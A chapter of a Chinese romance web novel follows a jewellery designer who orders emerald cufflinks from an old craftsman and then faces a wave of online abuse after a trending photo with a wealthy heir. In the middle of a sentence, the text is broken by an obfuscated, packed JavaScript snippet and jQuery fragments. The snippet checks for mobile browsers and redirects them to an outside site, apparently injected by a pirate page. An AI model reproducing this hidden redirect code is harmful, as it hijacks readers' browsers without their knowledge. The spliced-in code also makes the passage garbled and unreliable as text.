22. 第 22 章

作品:《以婚姻之名[先婚后爱]

    顾晓书开始看房子,找房子,甚至希冀着在同小区能找到个单身公寓。


    消息发到小区物业群,倒是有人回应,但是还有一个月到期。


    这无疑给了顾晓书希望,一个月的时间是可以商量的,如果新房东不急着入住,他们多半会同意延期。


    同一个小区,光搬家就能省不少事。


    她当即付了定金,定下这套房子。


    工作按部就班,该干的活儿顾晓书一点没少,该偷的懒她也偷着。


    周一晨会,帕帕拉恰的设计被提上日程,这个任务交给了顾晓书,黄籽颜让她出三幅图纸,分别是项链、手链、戒指,届时直接给客户看设计图。


    客户看中的是帕帕拉恰这颗宝石本身,设计锦上添花。


    不得不承认,黄籽颜是个合格的管理者,过去这招屡试不爽,如若是过去,顾晓书一定满血复活,因为被肯定了,甘愿为公司做牛做马。


    而今,顾晓书去意已决,不过是等着财务切确消息,拿到奖金再撤,以免日后出幺蛾子,要不回钱。


    所以要三张设计图,就给她,哪怕十张她也给,没有再抱怨活多。


    公司里除了阿月,大家对她还是那个态度,半孤立着,想靠近又不敢或者不耻。有些人是想和她套近乎,毕竟她抱上了金大腿,却又碍于黄籽颜的面,不敢;有些人是不屑于和小三为伍。


    办公室八卦群的声音渐渐小了,最后淹没在了众多的死寂群当中。


    海螺珠的胸针顺利出模,原本和李菲去工厂,但她手上有事,走不开,她独自去的。


    是个小工厂,但设备先进,师傅工艺精良,除了承接高端代工外,在珠宝市场也有档口。


    老板也是大师傅程壹,16岁开始学镶嵌和金属工艺,深谙所有镶嵌工艺,其中包括无边镶,对产品要求极为严苛,教出来的徒弟也都是高徒,自然工费也是不菲。


    顾晓书看完模,在工厂茶室等程师傅,随手拿起茶桌上的珠宝书籍翻看。


    《欧洲古董首饰收藏》是英国古董收藏出版系列书籍,珠宝人的必备书籍之一,主要讲首饰设计、制作风格的发展史。翻看到威力士拍卖行的绿松石花瓣项链时,她的脑子里突然闪过一个念想,用睡美人蓝松石做一副袖扣。


    高瓷高蓝的美人松,温润光泽,正方形设计,两边弧形,主石周围碎石作为点缀,以精湛的工艺呈现出高级和精致感。


    她随即从茶桌上取来笔和纸,开始画稿图,白金作为底托,2克拉的蛋面美松,美人松两头有点单调,给它架了一座拱桥相连,这样整个袖扣就成了不规则形状,但是上弧形和下弧形交错出了不一样的美感。


    纸张莎莎作响,顾晓书完善细节,小拱桥用方形碎钻,这也是一笔不小的成本,方形不是大众款,价格高。


    “哟,这画的是袖扣吧?”


    顾晓书没抬头,继续手里的活儿,应声说:“是,程师傅,等等,我马上好了。”


    程师傅六十出头,穿着唐装,头发花白,满目和善,像个艺术家。


    从某种程度上讲,具备工匠精神的匠人也是艺术家。


    “你这是想用什么做主石镶嵌?”


    “美人松。”


    “美人松多不上档次,至少得是祖母绿。”程师傅调侃着。


    顾晓书完成个七七八八,收了笔才抬头笑说,“程师傅,谁不知道祖母绿好啊,但奈何买不起、买不起!”


    “你这妮子胡说呢,两粒1克拉的祖母绿花得了多少钱啊,这1克拉就差不多了吧?”


    “1克拉的就算赞比亚也要不少钱,我现在穷得连饭都吃不上了。”


    “那这个是私活咯?”


    见顾晓书没否认,程师傅拿起茶桌上的画稿看了一眼,“拉丝工艺、长方形小钻,密钉镶嵌,这活儿还不好做,但是成品出来肯定精致,送男朋友的?”


    顾晓书笑笑没说话。


    “有情饮水饱吗?都没钱吃饭了,还有心思送人袖扣。”


    玩笑之余颇有几分长辈的斥责之意,程师傅在茶桌前坐下,开始烧水泡茶。


    一包肉桂放置于案几之上,换上紫砂壶和杯子,准备温杯,摇茶。


    “这不是有您在吗?所以我想着您肯定可以给我赊账的,而且我还想请您亲自帮我做这幅袖扣。”


    实际上也不是一定要赊账,不过顺着话往下说罢了,马上要发工资和奖金,钱到位,袖扣估计都还没出来,况且原材料都还没着落。


    程师傅透过镜片睨她,“我的工费可是很贵哦。”


    “都说了是我的私活儿,所以您得给我打个折扣。”


    “你这个妮子又来占我便宜了,不给你打折,你还能赖在我家里不成?”


    “我赖啊,肯定赖,赖你家里有茶喝,有饭吃。”顾晓书知道,这招管用,但凡催货,她就用这招。


    程师傅看着她就像看着自己的孩子,娇俏可爱,撒娇耍无赖,他想摆长者的威严,最后却成了慈爱,摇着头说,“你呀你……”


    “不过——”程师傅提起茶壶,话锋一转,“我这倒还有两颗小祖母绿,品相不错。”


    “程师傅,你这是在诱惑我,我真没钱的,我也是一时兴起,画个图看看。”


    顾晓书一脸姨母笑:原来在这等着她!心里也是高兴的,祖母绿和这个袖扣更搭。


    “连主石都想好了,说什么一时兴起,我看是早想了要做一对袖扣。”程师傅直接戳穿。


    顾晓书咧着嘴,无言以对,“那品相不错的祖母绿拿出来给我欣赏一下。”


    程师傅虚点着她,“你个鬼丫头。”


    说完起身进了里间,拿出个盒子递给顾晓书,出于职业习惯,顾晓书从包里拿出放大镜,搁置在一边。


    满满一盒子的祖母绿,都是宝贝,蛋面只有两颗,其他均为祖母绿切割。


    她小心翼翼打开,先欣赏了一通大克拉,最后才来到小克拉蛋面:标准的沃顿绿,放大镜下有少量包裹体,微油,但不影响整体感官,实属佳品。


    “这两粒镶在你的袖扣上,不比美松好看多了?”


    “当然更好看。”顾晓书收起放大镜,再将盒子盖上还给程师傅,笑眯眯说道,“这关键点在于钱,一分价钱一分货,一分钱难倒英雄汉。”


    “不贵不贵,我还能在石头上赚你钱不成,再说了这祖母绿超过一克拉还有收藏价值,过个几年升值了,你还得来感谢我。”


    “我是送人的,又不是自己戴,管不到增值这一块。”顾晓书啜了一口茶,茶香满腹,“我只管好看。”


    “男朋友不就是未来老公吗?这属于间接理财。”


    是啊,不是男朋友,谁还贴心地送这么私人的东西,想到这,她想放弃了,可这两颗祖母绿,她又十分喜欢,于是顺着程师傅的话问了产地和证书、价格。


    “产地赞比亚、吉尔德证书,价格给你大千就行,上不了万。”


    “两颗?”顾晓书随口一诌,万一是这个价格,她就拿下。


    “你个丫头想什么呢,沃顿绿,极微油……”程师傅嗔怪,“要是真想要,程叔我给你赊账,赊账行了吧?但是将来结婚,我要喝喜酒,行吗?”


    说到赊账,顾晓书兴致又高起来,随口应下,一来一回间把价格谈下。


    程师傅笑骂她是个鬼精灵,顾晓书也笑嘻嘻地承认,人不能得了便宜还卖乖。


    价格已经很低了,她知道程师傅在主石上的确没有赚她什么钱,工费还给她打了折,心下感激的同时也温暖。


    两人聊完袖扣才开始进入正题聊工作,其实没什么好聊的,无非是叮嘱海螺珠的排期和质量把控。


    没想到这次去工厂无心插柳,却订下了一副袖扣。


    自打那天以后,她和袖扣未来的主人没再联系,但她在朋友圈里看了一场樱花雨,如特效一般,却比特效逼真,如梦如幻。樱花在雨中飘落,浪漫唯美。


    底下不少点赞评论,至今才知道他们实际上也有几个共同朋友,顾晓书点赞后,又秒取消了。


    手滑而已。


    拍这个视频时,不知道他有没有撑伞,如果是她的话,一定要撑一把透明伞,这样不会错过樱花的每一个瞬间。


    顾晓书复盘了一下那天的场景,似乎她也不对,莫名其妙地生气、撒气,像个情绪不稳的疯女人。但更多的是,那天的陆云修给她一种强烈的压迫感,即便他每一句话都在征询她的意见。


    高高在上,卑微渺小。


    强烈的对比和反差,加上受到章行的羞辱,她找不到出口,最后撒在了他的身上。


    而他,这中间似乎有一丢丢的醋意?顾晓书不是非常确定,其实这不重要,他在乎的是他们的约定,在乎的是他的颜面。


    章行还在不厌其烦地加她的微信,最后顾晓书忍无可忍,把他塞进了黑名单。


    在顾晓书交完帕帕拉恰的稿子后,办公室传出印尼的一批货出了问题,也就是需要有人飞印尼处理售后问题。


    顾晓书一下子就想到,大约自己要出差了,还好的是印尼不是印度,她去过不止一次,和那边的负责人也熟悉。


    李菲找她谈话时,顾晓书内心是拒绝的,她最近工作态度确实不太行,不想出差,只想缩着把奖金拿了,走人。


    但是李菲好心劝慰,“你现在出差不比呆公司强吗,好歹可以出去透一口气,去巴厘岛玩玩不香吗?我要是你一天都呆不下去。”


    顾晓书竟然无法反驳,确实出去走走更好,但她再想要个名额,拉着阿月一起去,有个伴出差就当公费旅游。


    “没那么多预算,而且也不是什么大事情,你去去就回来。”


    李菲亲自订的机票,从隔壁海市出发,直飞雅加达。出差那天天公不作美,暴雨雷电,海市洪涝。


    顾晓书在机场等了两个小时,等来了机场关停的消息,她又花了两个小时回A市。


    骤降暴雨,气温也急转直下,外套又开始上街,有人穿羽绒服也有人穿短袖。


    春天本就是个乱穿衣服的季节。


    从海市回来已经七点,一身疲惫又饥肠辘辘,顾晓书想念起楼下的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347231|166831||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    牛腩粉。


    放下行李甚至没做停歇,怕老板关门,直接下楼,点了牛杂粗粉。上一回来吃牛肉面,还是和她爸妈一起,其实不过是上个礼拜的事,可是觉得已经过了很久。


    她和她妈还在闹着别扭,谁也没联系谁,但她每日都会给她爸打电话,刺探一下军情,问问什么时间适合给她妈打电话。


    确实是自己的不是,所以她需要真诚的赔礼道歉,可要一个契机。


    牛腩粉端上桌,浓汤香味扑鼻,放上辣椒佐以香菜,可以缓解一天的疲乏。


    民以食为天,吃才是最最要紧的事情。


    吃粉吃到一半,阿月给顾晓书甩了个链接过来,下面有配图,她先看了图片,是她和陆云修参加酒会的照片,两人甚是亲密的样子。


    阿月:【宝儿,你们上热搜了】


    顾晓书:【……】


    顾晓书直接从链接进去转到APP,果然如此。


    剪辑的小视频,不仅仅有两个人的手挽手的合影,还有两人单独的特写,角度专业。被偷拍,那晚她怎么就没发现呢?


    点击评论数直接爆表,热搜排名第三位。


    按理来说这样平平无奇的一个视频,他们也不是什么名人,掀不起什么浪花,最多几个赞,几条夸赞。


    莫不是有什么目的的吧?


    文字解说就差点着鼻子说这是陆氏太子爷,而底下的置顶评论更是一点不含糊,指名道姓:陆氏太子爷陆云修和他的女人、不,女伴!


    光光这条评论就引发了500+回复的大讨论。


    顾晓书抖着手点进去看,说什么的都有,女友、小三、情妇,交际花,还有人爆料说和她一个公司的,珠宝设计师,小三实锤,抢了她boss的未婚夫,甚至说她平日作风有问题,到处勾三搭四。


    这是流量密码。


    看着评论时间,谩骂就如潮水般一下子涌出来。


    那些夸她好看,夸她像赫本,夸两人般配的评论都被踩或者被骂,骂她贱妇、小三,骂他渣男,连带着她爸妈一起骂。


    顾晓书嘴里吸溜着粉,心一点一点往下沉,这些人怎么可以不分青红皂白,张口就来?


    她往碗里加了一勺的红油辣椒酱,一碗鲜红。一口汤下去,辣味刺激神经,辣得连耳朵都疼起来。


    不清楚是因为辣味刺激了泪腺还是因为其他,顾晓书的眼泪不知不觉中夺眶而出,太辣太疼了。


    但她仍旧倔强地把那碗粉吃完了,两片嘴巴辣得通红,眼泪却越来越凶,止都止不住。


    喝完最后一口汤,她付完钱,在老板娘的惊愕中出了门。


    雨停了,厚厚的云层被风吹开,天空中出现一抹蓝色。微信不断地进来,顾晓书边走边哭,脑子里全是那些谩骂,无暇顾及其他。


    如果办公室的流言蜚语是小雨点,那这场网暴就是倾盆大雨,雷电交加,伤害指数不是一个量级。饶是她做足了准备,也是禁不起这样的谩骂。


    她快步走着,现在的顾晓书,只想回家,回到那个小窝里,关门躲起来,躲起来就不会有谩骂和伤害。


    网暴隔三差五在上演,因为承受不住网络谩骂而轻生之事也不是没发生过,但暴力从来没有停止。


    可顾晓书从来没想过,这件事情会发生在自己身上,而且事发突然,猝不及防。


    那些不堪入耳的字眼像一把利剑一般,刺进了她的内心,她疼痛难忍。


    没有开灯,楼下商业街的广告灯透过阳台照进来,房间有些许光亮。


    眼泪似乎流干了,半明半暗里,顾晓书伏在被子上,剩下的情绪只有颓丧和焦虑,伴随着紧张。


    紧张那些谩骂越来越多,害怕出门被人指指点点。


    她整个人仿佛被黑暗笼罩着,透不过气,前方没有光明。


    微信不断在推送信息,她知道是阿月,有阿月真好。


    想到这里,她强打起精神解锁手机,去看微信。


    【绝对熟人作案,你看IP,前面骂你的全都是本省人,连你的职业都给爆出来了】


    【这帮狗崽子,要是查出来是谁,我非得把他们给宰了不可】


    【宝,你别伤心,我已经和小群里的说了,她们也认为是同事干的,太过分了,在帮忙骂,但是好像越掐热度就越高】


    【也不管了,我先骂了再说,这些人不会有好下场】


    【这就是一群妒妇,眼红你找了个好男人】


    【然后可以的话,把链接甩给陆总,让他出面压一下,但是让我先骂完,不骂完我心里无法释怀】


    【你怎么都不回我信息,宝,你没事吧?给我吱一声,这些人就是喷子,键盘侠,别和他们一般见识】


    看完阿月的微信,她才后知后觉应该给陆云修打个电话,这件事理应让他知道。或者他已经知道这件事了,但并不在意?


    她没有把握,内心忐忑不安,怕他不当回事,怕他置之不理。


    可是现如今也没有别的选择。在给阿月回了个【我很好】之后,她找到陆云修的微信,把链接发给了他。